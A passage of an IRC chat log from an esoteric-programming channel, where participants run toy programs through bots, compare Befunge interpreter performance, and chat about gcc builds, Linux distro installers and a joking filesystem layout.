in, every state is unique 17:06:25 so I'm rather familiar with how it loops 17:06:33 Or `mm on the bird :3 17:06:34 AnMaster: I think that's possible too, but harde 17:06:35 *harder 17:06:44 ok 17:06:57 Slereah, what 17:07:10 m is ``sii in lazy bird 17:07:10 imagine something like (:*:^):^, translated to Unlambda 17:07:33 ^ul (:*:^):^, 17:07:33 ...too much stack! 17:07:37 rigt 17:07:39 right* 17:08:38 Around stacks, never relax. 17:10:11 what if use Zobrist hashing to test whether some evaluation step during evaluation gets repeated? We will be able to do impossibility-space tradeoff attack on halting problem lol.. (People use Zobrist hashing to find whether chess board states get repeat when searching down the game tree.) 17:11:33 wait ordinary hashing would do 17:11:37 the job 17:12:07 because expressions can be evaluated unambiguosly 17:12:51 zobrist would help to check whether parts of the expression are getting repeated 17:13:39 !befunge98 http://www.quote-egnufeb-quote-greaterthan-colon-hash-comma-underscore-at.info/befunge/ytest.bf 17:13:40 Flags: 1 17:14:03 -!- MizardX has quit (Read error: 104 (Connection reset by peer)). 17:14:14 ais523, did you miss that yesterday about egobot? 17:14:20 -!- MizardX has joined. 17:14:48 AnMaster: yes 17:14:51 wb EgoBot 17:14:53 I bet Turing would say there exists an expression that does not have any detectable pattern that signifies non-haltability 17:14:53 !befunge98 3y.@ 17:14:53 1128682830 17:15:05 ais523, it isn't the same one 17:15:10 as in, different code base 17:15:15 no suspending thing 17:15:17 and such 17:16:06 oh and another thing... I made a patch to add befunge-98 to it. Using cfunge. Which made me add some new compile time options for cfunge. To enable/disable some things. 17:16:32 (TURT is disabled in cfunge in EgoBot, so is NCRS and TERM. And it runs with -S so no unsafe IO) 17:18:40 Guys, so there cannot be a mechanical way to generate a quine of a combinator expression because that would mean there exists halting predictor which is impossible? 17:19:36 oh, you can certainly generate some infinite combinator loops 17:19:45 just not all of them 17:19:59 hmm :( 17:20:04 return "```sii``sii" 17:20:18 Works every time 17:20:22 lol 17:20:52 ```s``ska``skb``s``skf``skg is an infinite loop no matter what a, b, f, g 17:21:07 (Unlambda experts will know why I skipped c, d, and e) 17:21:21 !help 17:21:21 Supported commands: bf_txtgen help info 1l 2l adjust axo bch befunge befunge98 bf bf16 bf32 bf8 dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 unlambda whirl 17:21:31 !info 17:21:31 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 17:21:45 it's nice to see the exclamation mark prefix come back 17:22:05 so, no !def? 17:22:12 and no Underload? 17:22:15 ais523, Make a patch I guess. 17:22:18 In fact make two 17:22:26 there are instructions for how to add new languages. 17:23:22 but that would been I'd need an Underload interp written in something sane 17:23:24 *mean 17:23:53 Life would have been so much easier if I had an Oracle machine.. fuck reality! it doesn't want me to have one. 17:25:22 -!- thutubot has joined. 17:25:22 -!- thutubot has quit (Remote closed the connection). 17:25:25 ais523, C, java, haskell and several other ones are supported. 17:25:25 -!- MizardX has quit (Read error: 60 (Operation timed out)). 17:25:32 it executes the interpreter binaries. 17:25:39 -!- thutubot has joined. 17:25:47 hm 17:25:50 +hello 17:25:51 Hello, ais523! 17:25:57 +ul (:aSS):aSS 17:25:58 (:aSS):aSS 17:26:18 Heh, asses 17:26:18 now 2 out of 5 bots here can do Underload 17:26:22 rather than 1 out of 4 17:26:25 Slereah: that wasn't deliberate! 17:26:37 I will never believe you 17:26:38 if it were, I'd have capitalised it properly 17:26:46 Does one do unlambda? 17:26:57 EgoBot dose 17:26:59 *does 17:27:03 What command? 17:27:11 !unlambda ```s.a.b``s.c.d 17:27:19 !ps 17:27:28 !unlambda `````kisses 17:27:29 I probably shouldn't have fed it an infinite loop 17:27:33 SMOOCH 17:27:41 Slereah: that produces no output, obviously 17:27:45 Yes 17:27:47 !bf ,[.,]!test 17:27:51 !unlambda ``````kisses.x 17:28:06 I can only conclude I accidentally crashed it with that loop 17:28:09 !unlambda ````kiss.x 17:28:13 Hm 17:28:14 Did you guys kill EgoBot >_< 17:28:16 I guess not 17:28:21 GregorR: I think quite possibly 17:28:27 !help 17:28:27 Supported commands: bf_txtgen help info 1l 2l adjust axo bch befunge befunge98 bf bf16 bf32 bf8 dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 unlambda whirl 17:28:37 ok, it's listening to you 17:28:41 !info 17:28:41 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 17:28:51 !bf ,[.,]!test 17:29:03 It's possible, and even likely, that unlambda doesn't work. 17:29:17 I know that bf works, though 17:29:20 and I'm not getting output from it 17:29:30 !bf ++++++++++++++++++++++++++++++++++++++++++++++++++++++++. 17:29:30 8 17:29:32 oh 17:29:37 it's just not accepting input via ! 17:29:49 It uses EgoBF *shrugs* 17:30:16 What should ````kiss.x output? 17:30:17 we certainly need to add Underload, but the problem is that the only two known sandboxed Underload interps are written in esolangs 17:30:27 and it shouldn't 17:30:31 ``kis = i 17:30:34 ````kiss = s 17:30:38 and `s.x has no output 17:30:43 because it's an incomplete expression 17:30:47 !unlambda `.xi 17:30:47 x 17:30:56 Oh, so it does work :P 17:31:08 how does EgoBot handle infinite loops? 17:31:12 -!- MizardX has joined. 17:31:14 !unlambda ````````kiss.m.y.a.s.s 17:31:14 myaas 17:31:24 kekeke 17:31:41 It nices down, kills long-running scripts, and refuses to allow anything to take more than 25% CPU 17:31:49 ok, makes sense 17:32:00 :) 17:32:13 Does underload have the ability to run I/O or whatnot? 17:32:19 underload does O but not I 17:32:34 Output to files? 17:32:39 no, just to stdout 17:32:44 oh greaat 17:32:50 one of the deps fail configuring 17:32:52 +ul (()(*))(~:^:S*a~^a~!~*~:(/)S^):^ 17:32:54 */*/**/***/*****/********/*************/*********************/**********************************/******************************************************* ...too much output! 17:32:58 ^ul (()(*))(~:^:S*a~^a~!~*~:(/)S^):^ 17:32:58 */*/**/***/*****/********/*************/*********************/**********************************/*******************************************************/*****************************************************************************************/********************************************************************************* ...too much output! 17:33:00 it claims a header that does exist doesn't... 17:33:00 So there's no complelling reason not to use a normal underload interp? 17:33:11 the only compelling reason is that there are no normal underload interps 17:33:15 *compelling 17:33:21 OH 17:33:28 Well, one that's in an esolang is fine, really. 17:33:31 Is that prime numbers? 17:33:33 it's simple enough to implement that everyone just wrote esolang versions 17:33:36 So long as it's an esolang that EgoBot supports. 17:33:36 Slereah: no, fibonacci 17:33:42 primes don't go up exponentially 17:33:43 o 17:33:47 oko 17:34:07 really, the best thing would just be to write an interp in something sane 17:34:21 I'm not stopping you :P 17:34:21 there's an efficient C version, but it's a compiler not an interp 17:34:22 I await a hg bundle. 17:35:01 Underload interps have been written in: JS, Thutu, Befunge, Redcode, BF 17:35:18 the other problem is it's very easy to use up memory really quickly in an Underload program 17:35:19 AnMaster: i found some example that rcfunge is faster than cfunge... :p 17:35:22 do you have a limit on memory used? 17:35:26 lifthrasiir, details 17:35:30 AnMaster: http://pastie.org/465147 17:35:34 Yes. 32M 17:35:40 ah, that's fine 17:35:48 lifthrasiir, the actual program? 17:35:50 yes 17:35:51 (I have 1G on the system) 17:35:56 hm 17:36:02 also, the only way to output a newline in Underload's to put a literal newline in the program 17:36:06 but that could just be done via URL 17:36:06 it puts p at <9^6,0> so it tests pure performance of the fungespace get 17:36:10 lifthrasiir, where does it put it 17:36:29 lifthrasiir, is those value average over several runs btw? 17:36:32 ais523: That sort of issue I just dont care about ;) 17:36:41 wait, <9^8,0> = <43046721,0>, i mean 17:36:48 'q99*:*:*0p3 17:36:49 AnMaster: yes. that was similar 17:36:51 does that ever exit? 17:37:05 it should exit eventually. 17:37:22 I don't see how the ' before the q is ever overwritten 17:37:35 lifthrasiir, it runs over lots of empty funge-space indeed, 17:37:37 indeed* 17:37:49 ais523: no, it puts q at <9^8,0>, so after ...p3 there is a generated q and exits 17:38:05 (albeit there are 43000000+ spaces) 17:38:08 ah, aha 17:38:09 in between* 17:38:09 lifthrasiir, what about ccbi and pyfunge on it 17:38:10 I missed that 17:38:12 just out of interest 17:38:41 I suppose an interp really optimised for that program would skip all the spaces in one go, and handle that in O(1) not O(n) time 17:38:43 AnMaster: i don't have a working ccbi build yet, due to out of time, and pyfunge... is too slow. 17:38:55 ais523, you need to find all those spaces. 17:39:07 you could know there was nothing in the columns inbetween 17:39:07 i had to test pyfunge with <9^6,0>. 17:39:08 somehow 17:39:10 which means lots of "check if value exist in hash table" for cfunge. 17:39:15 yes, I know 17:39:39 * ais523 tests Language::Befunge 17:39:45 ~/hg/pyfunge$ echo '88*99*::**0p' | time ./pyfunge -v98 - 17:39:45 2.91 real 2.63 user 0.20 sys 17:39:50 ais523, yes I could. But then I would need to check the hash table for column count 17:39:58 which would for most programs be a waste of time. 17:40:09 yes 17:40:22 that's why I said "optimized for that program" 17:40:52 but still i cannot think why rcfunge is faster than cfunge then. maybe because of mac strangeness? :S 17:40:57 lifthrasiir, feel free to tune the size of the static array to include that. #defines are near line 100 of src/funge-space/funge-space.c. Note the comment about 17:41:01 think of* 17:41:04 about 16-byte divisible* 17:41:13 #define FUNGESPACE_STATIC_X 512 17:41:13 #define FUNGESPACE_STATIC_Y 1024 17:41:29 err not just 16 byte 17:42:05 -!- puzzlet has joined. 17:42:27 anyway: each must be a power of two. And (FUNGESPACE_STATIC_X * FUNGESPACE_STATIC_Y * sizeof(funge_cell)) % 128 == 0 17:42:30 I think. 17:42:37 right 17:42:57 the comment *was* correct after all 17:43:30 jqbef98 is much slower than either cfunge or RC/funge 17:43:37 not at all surprising, it's one of the slowest on Mycology 17:43:48 lifthrasiir, I'll try profile it later today. Doing some other stuff atm. And food is soon ready. 17:44:11 * ais523 kills the process after 90 seconds 17:44:54 AnMaster: alright. 17:45:16 lifthrasiir, not that I know rcfunge code very well. 17:45:20 it is rather messy 17:45:41 !help 17:45:41 Supported commands: bf_txtgen help info 1l 2l adjust axo bch befunge befunge98 bf bf16 bf32 bf8 dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 unlambda whirl 17:45:58 ais523, were you around when Deewiant tested on 32 MB large text file from project gutenberg? 17:46:03 FYI, i have #defined FUNGESPACE_STATIC_X to 0x4000000 and FUNGESPACE_STATIC_Y to 1, and cfunge became very slow (i.e. 60s and still running) 17:46:06 With a @ to just check parsing. 17:46:11 AnMaster: no 17:46:18 for smaller FUNGESPACE_STATIC_X there is no difference. 17:46:23 I like that idea, give a @ followed by 32 MB of junk? 17:46:47 ais523, ah. cfunge was fastest. 27 seconds or such and 2.2 GB RAM. CCBI was way more. And more than half an hour (forgot how long exactly) 17:46:55 don't remember what other ones he tested. 17:47:06 also, my guess for the 0x4000000 define is that cfunge caused the computer to swap by trying to access that much memory 17:47:25 ais523, yes 17:47:30 that sounds correct. 17:47:38 that's a 1 followed by 26 zeroes, isn't it? 17:47:41 bbl food. 17:47:43 that's only 64 MB 17:47:54 wait, *4 or 8 due to width of an int 17:47:56 ais523: no, that is 256 MB. 17:48:07 256 MB isn't an insane amount for some modern computers 17:48:14 presumably yours can't handle it, though 17:48:31 agreed, i have only 2GB of ram 17:48:51 256 MB should fit in 2GB without swapping, though 17:53:50 anyone here have ideas of how to write a super-optimised sane Underload interp? 17:53:54 as opposed to a compiler? 17:54:53 AnMaster: 3.x or 4.x RAM and 4x minutes 17:55:00 Where I can't remember the x 17:56:39 ais523: Super-optimiZed is not a requirement. (But American spelling is lawl ;) ) 17:56:56 yes, especially as I'm British 17:57:08 I write in a mix of British and American English unless I concentrate 17:57:12 due to being on the Internet so much 17:57:23 Hah 17:57:28 but if I'm going to write an interp in a sane language, I want it to run quickly 17:57:29 AMERICANS HAVE TAKEN OVER THE INTARWEBS 17:58:16 Deewiant, ? 17:58:33 AnMaster: " CCBI was way more. And more than half an hour (forgot how long exactly)" 17:58:36 256 MB should fit in 2GB without swapping, though 17:58:37 um 17:58:42 there is another thing 17:58:46 cache 17:58:48 I assume. 17:58:56 ah, yes 17:59:08 but cache misses shouldn't slow cfunge down that dramatically 17:59:29 Life was simpler when all memory was the same speed 17:59:47 even back in the 6502, memory access to the bottom 256 bytes of memory was faster 17:59:54 *on the 6502 18:00:03 although only 16 bytes of it was available to user programs 18:00:52 who's Lawrence Woodman, I wonder? He's been writing about Redcode and SUBLEQ 18:02:02 Get 'im in 'ere! 18:02:12 that was my reaction 18:02:58 hm 18:03:14 ais523, 256 MB is quite a bit to fill with spaces initially though 18:03:20 oh, of course 18:03:33 although again it shouldn't take that long 18:03:34 even though I use streaming non-temporal stores. 18:03:37 hm 18:03:46 memtest86 can fill my entire memory with anything in less than a second 18:03:50 and I have more than 256 MB 18:04:01 true. 18:04:21 actually, not the entire memory 18:04:30 it needs to reserve some for itself 18:04:51 yes, the entire memory 18:04:59 ais523, I mean. For it's own code. 18:05:00 it fills most of it, then moves itself to a different location, then tests the bit where it was 18:05:03 ah 18:05:11 ais523, what about BIOS reserved bits. 18:05:17 and such 18:05:47 I'm not sure how it handles those 18:06:01 I imagine it doesn't test memory-mapped registers with random data, though! 18:06:09 indeed. 18:06:25 hm 18:07:00 lifthrasiir, did that one you set ever finish? 18:07:27 if not I suspect it just doesn't handle 1 for the dimension very well. 18:07:43 AnMaster: i terminated it before it finishes. 18:18:28 what does "ulp" mean in the context of floating point 18:18:50 unit in the last place. 18:19:05 Or unit of least precision 18:19:06 ok. And what does that actually _mean_ 18:19:07 Same thing 18:19:11 ulp of some floating point number is 18:19:23 ulp(x) is the difference between the two floating-point numbers closest to x 18:19:31 ah 18:19:52 a gap between it and closest representable number greater than it 18:20:36 greater than -> closest to it. 18:21:37 right 18:24:17 ais523, you know gcc best. 18:24:33 ais523, does one need to do the bootstrap thing when building a new gcc version using the previous gcc version. 18:24:35 possibly in this channel, but only an older version, and I bet there are people who know more about gcc than me elsewhere 18:24:46 in this channel yes 18:24:53 and you never "need" to do the bootstrap thing, not even for building with a different compiler 18:25:02 ais523, why does it default to being used then 18:25:15 because it gives a more efficient binary in most cases, and because you can't test unless you bootstrap 18:25:20 To verify trhat the generated compiler is correct. 18:25:26 yep 18:25:40 ah 18:27:07 And because the compiler doesn't taste like chicken until it's compiled itself. 18:27:45 well, anyone can connect to eso-std.org domains? my DNS didn't resolve them at all. 18:28:03 err, eso-std.org no longer exists 18:28:07 ehird dropped the domain, and it's been parked 18:28:15 ah, then okay. 18:28:22 if there's something for particular you're looking for that was there, I might know where it is now 18:28:29 -j2 is safe for gcc iirc 18:29:34 odd, why does trying to open a new ssh connection only work when the target computer isn't loaded. 18:29:43 existing ones work fine in all cases. 18:29:52 so does running most programs 18:30:59 and even if I ctrl-z whatever is putting that load on the system... It doesn't help. 18:31:22 as in, any existing ssh that is currently connecting doesn't finish connecting. 18:31:34 new ones are close to instant 18:33:32 especially configure running prevents it working. Compiles do it sometimes. 18:33:34 ais523, any idea? 18:33:56 no 18:33:59 ok 18:34:06 nothing strange in logs 18:35:56 heh, Microsoft's servers crashed when they tried to release Windows 7 RC to the MSDN and TechNet subscribers 18:36:19 Did they actually crash 18:36:27 I was under the impression they just got slashdotted 18:36:45 someone should slashdot slashdot 18:36:49 just to see what happens. 18:36:59 Why was eso-std.org taken down? (<-- ehird?) 18:37:08 Deewiant: I consider being slashdotted as a form of crashing 18:37:29 GregorR: I'm not entirely sure, I'm no good at following ehird's logic with server maintenance 18:37:39 Slashdottedness doesn't require manual intervention to resolve 18:37:42 -!- oerjan has joined. 18:37:43 Crashedness does 18:37:48 ah 18:37:52 well, just slashdotted then 18:38:19 ais523: I don't suppose there was anything hugely relevant there anyway? :) 18:38:28 GregorR: It was dormant. 18:38:32 The server is up. 18:38:42 Will not be soon due to moving to prgmr 18:38:54 03:23 GregorR: We were talking about PSPACE-complete games in Theory today, and one that he mentioned I think has the potential to be used as the basis for a real game. Given a graph, a starting vertex, and two players, each player selects a vertex pointed to by the current vertex, and crosses the current vertex out. You're not allowed to move to a vertex which is crossed out, and if you can't move, you lose. 18:38:57 Haw. 18:38:58 *Hawt 18:39:09 AnMaster: well, I can try Arch. 18:39:11 downloading Slackware atm 18:39:16 ehird, ? 18:39:21 reply to you. 18:39:24 didn't you try it 18:39:41 Started to, then had to go sleep. 18:39:45 ehird: that game GregorR mentioned, if you did it with a directed graph you could use it to model any finite game, with an appropriate graph 18:39:54 ais523: Even hawtter. 18:40:12 well nxn Go is supposedly PSPACE-complete iirc 18:40:13 mayhaps I will try a BSD afater slack 18:40:39 ehird: are you messing with lots of different Linux distros? 18:40:46 ais523: Yes. 18:40:52 Distroshopping. 18:40:56 fair enough 18:41:14 ais523, could you model chess with it 18:41:28 AnMaster: arch using grub on a cd freaked me out 18:41:34 AnMaster: yes, in theory, but the graph would be insanely massive 18:41:37 ehird, didn't it work 18:41:45 it worked just fine 18:41:49 but it's freaky 18:41:51 ais523: How massive? If exponential, that's not a valid reduction :P 18:41:54 ais523, how would you do it. I mean how do you represent a game in it. 18:42:02 GregorR: yes, exponential 18:42:11 Right, so that doesn't prove anything about Chess. 18:42:13 AnMaster: with one node for every position, and directed arcs that don't let you go back 18:42:17 GregorR: no, it wasn't meant to 18:42:21 AnMaster: chess has some timeout rules that force it to be finite 18:42:24 Ah, OK :P 18:42:35 So in short, every game with a finite number of states can be represented as a graph of states. 18:42:45 No shit sherock 18:42:47 sherlock 18:42:49 It's called a FSM 18:42:50 (not just no. states but also length) 18:43:01 *an FSM 18:43:01 ais523, you could only represent turn-based games with moves on a graph or board I think. And only deterministic ones. 18:43:22 for example, you couldn't represent any game with dice right? 18:43:28 AnMaster: anyway, I don't mind a textual installer, it just tends to imply unpolishedness in other areas 18:43:29 or did I misunderstand 18:43:36 you're right, it would have to be deterministic 18:43:49 ais523: just add a token 18:43:51 rand(N) 18:43:54 but you don't need moves on a graph/board, anything with a finite number of defined states will do 18:43:55 meaning a number from 0-N inclusive 18:43:58 ais523, and turn based. Not deterministic and continuous. 18:44:04 Is there a theory of nondeterministic graphs? :P (Quantum graphs?) 18:44:09 AnMaster: continuous implies infinite number of states 18:44:17 ais523, well maybe wrong word. 18:44:20 AnMaster: I assume I want an ftp/http installation source? 18:44:27 I'm using the ftp disk 18:44:28 ehird, I used netinstall yes 18:44:30 *disc 18:44:35 ehird, so yes. 18:44:42 dhcpcd failed 18:44:42 awsum 18:45:10 ehird, now it was almost a year ago I installed. So I don't remember all details 18:45:14 maybe ask Deewiant too 18:45:14 -!- tombom has quit ("Peace and Protection 4.22.2"). 18:45:22 GregorR: strictly speaking a reduction from something bounded finite is not really exponential no matter how much it blows up 18:45:39 (you just stick it in the constant multipliers) 18:45:41 AnMaster: oh god, I have to use the awful partitioning program 18:45:47 ais523, make a graph to represent D&D first edition. 18:45:49 ehird, what one? 18:45:55 I thought there was fdisk on it 18:46:03 or was it cfdisk? 18:46:07 cfdisk 18:46:09 oh I see 18:46:10 D&D first edition is nondeterministic and has an infinite number of states 18:46:13 then I feel for you 18:46:13 cfdisk crashed on my disk IIRC 18:46:14 oerjan: True. But I was assuming "generalized" Chess with nxn boards *shrugs* 18:46:17 Deewiant, wow 18:46:21 bbl phone 18:46:27 fdisk worked though 18:47:24 Pacman preparation failed. 18:47:25 Awesome. 18:47:28 * ehird gives up 18:47:31 Even slackware's install is better 18:48:44 Slackware has an installer? :P 18:48:49 Yes. 18:48:52 GregorR: i (very vaguely) recall that loop quantum gravity theory may use something that's almost quantum graphs, although the spin or was it area annotations may be on tuples of lines so it's a bit higher-dimensional 18:49:16 GregorR: It has a command which tells you how to run the disk partitioner, and a program that lets you select what packages to install which then copies them to the disk. 18:49:24 The package installer even uses ncurses. 18:49:30 D-8 18:49:40 They've given up on their heritage! :( 18:49:42 Slackware isn't unusable... just minimalist. 18:50:04 You should install LFS. 18:50:09 AAAAAAAAAAAAAAAAA 18:50:12 LFS is how people who aren't pansies install their distro. 18:50:15 -!- thutubot has quit (Remote closed the connection). 18:50:22 GregorR: I am going to kill you now. 18:50:28 LFS is so awesome it scared thutubot away. 18:50:35 GregorR: You will then die. 18:50:46 "They're just sitting there taking up (precious) disk space." — LFS 18:50:53 Precious disk space. 18:51:05 I think the last time I thought disk was precious was in the nineties. 18:51:31 That's why "precious" is in parens X-P 18:51:45 You could always install Gentoo (wimpmode LFS) 18:51:59 I hate Gentoo with the fiery passion of a thousand suns. 18:52:06 So do I. 18:52:10 Because it's wimpmode LFS. 18:52:13 And I'm no wuss! 18:54:21 Slereah: that's an interesting question. "Does a combinator expression halt" is obviously unsolvable. "Does a combinator expression ever return to its starting point when evaluated" is I suspect unsolvable, but it's not obvious from the halting problem that it is 18:55:07 i think that's nearly obvious though, because you can take an integer function with unsolvable halting and turn it into a quine 18:55:27 It's slack time! 18:55:34 * ehird slacks 18:56:08 -!- Leonidas_ has joined. 18:56:57 -!- thutubot has joined. 18:57:06 GregorR: WOW, you can use cfdisk OR fdisk! 18:57:16 Slackware is amazing. 18:57:21 also, if something returns to its starting point that can obviously be proved, just as it can be proved _if_ something halts 18:57:33 -!- Leonidas_ has changed nick to Leonidas. 18:58:00 (i guess this is really "obvious if you've thought about such problems before") 18:58:11 Even slackware's install is better <-- I never had any issues. 18:58:14 even on lvm 18:58:26 but cd version I used was from august last year. 18:58:41 Cool, slackware calls ext2 "standard". 18:59:13 LFS is how people who aren't pansies install their distro. <-- I done it. And HLFS. You learn a lot, but you don't want to use it. 18:59:24 ehird, why are you not going with ubuntu or debian 18:59:33 AnMaster: Boredom. I have cheap VM creation. 18:59:37 And a fast internet connection. 18:59:40 ehird: old standards are also standards? 18:59:42 Distros are like pokemon,. 18:59:47 s/,\.$/./ 18:59:58 Emacs is a separate package series in the slackware installer :DDDDDDDDDDD 19:00:11 lawl, it comes with tex by default 19:00:22 and games! BLOATWARE MORE LIEK 19:00:27 ehird, ah vm... 19:00:28 I bet it comes with hunt(1) 19:00:36 That bastion of funnity 19:00:37 ehird, no idea about arch in vm 19:00:51 "full Install everything (4.8+ GB of software, RECOMMENDED!)" 19:00:51 I only tried it on a non-virtual computer. 19:01:00 where it worked (and works) perfectly. 19:01:17 I bet it comes with hunt(1) 19:01:19 what is that 19:01:25 wumpus? 19:01:25 AnMaster: a bsdgame 19:01:28 ah 19:01:31 very fun 19:01:33 it's multiplayer 19:01:34 Deewiant, isn't it wumpus(1)? 19:01:36 err 19:01:37 goes over the network! 19:01:38 6? 19:01:38 iirc 19:01:39 for game 19:01:41 sgames* 19:01:44 although you'd best use localhost tbh 19:01:56 you walk around nethack-style uncovering tunnels 19:01:57 and shoot each other 19:01:59 pretty much 19:02:22 ehird, ASCII art with look down like nethack or adventure game style 19:02:29 former 19:02:31 it's a bsdgam 19:02:31 e 19:02:35 yes and 19:02:36 i.e. 70s-80s 19:02:44 there are bsdgames that are text adventure 19:02:45 ... 19:02:46 nobody did adventure game style graphics then 19:02:49 um 19:02:53 you misunderstood me 19:02:58 19:01 ehird: you walk around nethack-style uncovering tunnels 19:03:00 nethack-style 19:03:02 that implies graphical 19:03:07 ehird, adventure style == adventure(1) 19:03:19 AnMaster: fail. it's ADVENT(1) 19:03:24 not here 19:03:37 ADVENTURE(6) BSD Games Manual ADVENTURE(6) 19:03:42 is what it says 19:03:49 (6) != (1) either 19:03:55 true 19:03:58 I was wrong there. 19:06:09 why does lfs need a guide? 19:06:13 it seems pretty simple 19:06:14 compile kernel 19:06:16 compile glibc 19:06:17 profit 19:06:28 ehird, wrong. 19:06:37 you need to create a temp system in /tools first 19:06:41 boot strap system 19:06:48 AnMaster: err, I meant installing from an existing linux 19:06:54 cd /mnt/lfs, etc 19:06:55 ehird, yes even then that is recommended. 19:07:01 see the guide 19:07:01 don't see why 19:07:07 read the guide ok 19:07:17 I value my sanity 19:08:30 "Debra Lynn Murdock and Ian Ashley Murdock" 19:08:37 — List of divorces for aug 10-16 07 19:08:47 Nobodian 19:09:03 Not that either of them worked on Debian by then anyway :P 19:11:46 Maybe I should make Hirdux ;-) 19:13:38 Murdock? 19:13:42 what was that about 19:13:50 AnMaster: Ian Murdock + Debra Murdock = Debian. 19:13:55 !bf ++++++++[>++++++++<]>[.] 19:13:57 Well, flip that 19:13:58 core developers 19:13:59 or what 19:14:05 !bf ++++++++[>++++++++<]>. 19:14:06 AnMaster: Ian Murdock founded it... 19:14:08 Debra was his wife. 19:14:08 ah 19:14:12 ehird: you have a girlfriend called Ux? 19:14:12 I see 19:14:14 Debra-Ian 19:14:16 Debian 19:14:17 hum 19:14:23 They divorced 19:14:25 Which is amusing 19:14:26 ais523, guess so 19:14:26 ais523: :D 19:14:30 * oerjan facepalms 19:14:36 !bf ++++++++[>++++++++<-]>[.] 19:14:44 ^bf ++++++++[>++++++++<-]>[.] 19:14:45 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ... 19:14:51 !bf ++++++++[>++++++++<-]>. 19:14:51 @ 19:14:54 Hirdux would deviate from all standards whenever possible 19:15:05 oerjan, it runs for 30 seconds before ending program 19:15:07 just FYI 19:15:10 ehird: ReactOS already exists... 19:15:14 ais523: bwahaha 19:15:20 but I mean, while still being linux 19:15:22 ais523, hah 19:15:22 I'd probably have no /usr 19:15:24 i see EgoBot doesn't handle infinite output 19:15:32 Well, I'd have /usr, but it'd be /home. 19:15:39 oerjan, process is killed after 30 seconds. 19:15:44 hm 19:15:53 I guess it is line buffer output 19:16:01 -!- Mony has joined. 19:16:05 I'd also get rid of /boot 19:16:13 After all, it's not anything to do with booting, it's just the kernel! 19:16:39 -!- Mony has changed nick to Guest38386. 19:16:47 !befunge98 aaa**k'Faaa**k, 19:16:51 AnMaster: i am not saying it's surprising 19:16:53 * AnMaster waits 19:17:02 err 19:17:02 wait 19:17:07 what does that do in 98 19:17:10 I wonder if the kernel is executable? 19:17:12 k over fetch char 19:17:12 but it's much more fun when you can do infinite lists and stuff 19:17:13 ais523: do you know? 19:17:14 I mean 19:17:25 !befunge98 ak'Fak, 19:17:41 AnMaster: Consider adding an @ 19:17:44 ehird: I don't, but I doubt it is 19:17:45 oh right 19:17:48 !befunge98 ak'Fak,@ 19:17:50 you'd have to wrap it in a container 19:17:56 and even then, it wouldn't work running in user space 19:18:03 ais523: but if you +x'd it, and put it in a container, and was in kernelspace, would it be executable? 19:18:06 ehird, how far do your funge get in mycology now btw 19:18:09 Or is it not "directly" executable? 19:18:12 !befunge98 'a,@ 19:18:12 AnMaster: stfu :p 19:18:12 kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk 19:18:16 ooh 19:18:28 ehird: well, in order to load a kernel you copy the image into memory and give it the instruction pointer 19:18:31 AnMaster: wat 19:18:32 oh 19:18:32 where did it get k from 19:18:33 that's k 19:18:34 that's the same process you need to run an executable 19:18:36 AnMaster: older program 19:18:39 ak'Fak 19:18:47 um 19:18:49 ais523: right then, my kernel would go in /bin! 19:18:50 what 19:18:58 /bin/linux or something 19:19:01 !befunge98 ak'Fak, 19:19:02 that? 19:19:07 ehird: Not /sys? 19:19:09 AnMaster: yes 19:19:14 because that should output lots of F not lots of k 19:19:14 Deewiant: Why? It's a binary. 19:19:16 aafaik 19:19:17 afaik* 19:19:28 ehird: It's a system too ;-) 19:19:34 Deewiant: Well phooey to that! 19:19:43 ehird: Binaries are processes and belong in /proc 19:19:48 Bahaha 19:19:56 Maybe I'd unify /bin and /lib 19:20:02 Since the distinction is often shaky. 19:20:08 Especially for scripts 19:20:11 /bin is for all non-textual data 19:20:19 /lib is for books, obviously 19:20:20 Ha. 19:20:23 09:53:50 anyone here have ideas of how to write a super-optimised sane Underload interp? 19:20:35 Deewiant: Probably I'd have /bin be all binaries & libraries. 19:20:36 ehird: just have executable shared libraries 19:20:44 as for memory, you could always do some sharing of structures 19:21:03 would be easy in haskell 19:21:40 hm 19:22:00 (just make * a constructor, essentially) 19:22:49 ehird, better idea: /sys/* /proc/* /user/*, first one is system files. All of them. Config files, program, libraries, kernel, ..., second one is for those pseudo file things needed. You should combine /proc (classical) /sys and /dev in it 19:22:53 and /user is for user data 19:23:04 no subdirectories are allowed 19:23:34 no files may be written outside those dirs (that is, /foo is invalid) 19:23:36 AnMaster: why use directories at all, if you're banning subdirs 19:23:47 actually, the existence of dirs but not subdirs is nicely ridiculous 19:24:21 ais523, for upgrades obviously. If user creates a file "X" and then you add X in new release you are into issues 19:24:30 with /sys/X and /user/X you have no issues. 19:24:33 clearly 19:24:36 http://pastie.org/465240.txt?key=suxdvgfmuazte7rug8rvw ← The Hirdux Hierarchy 19:24:45 Simple, effective! 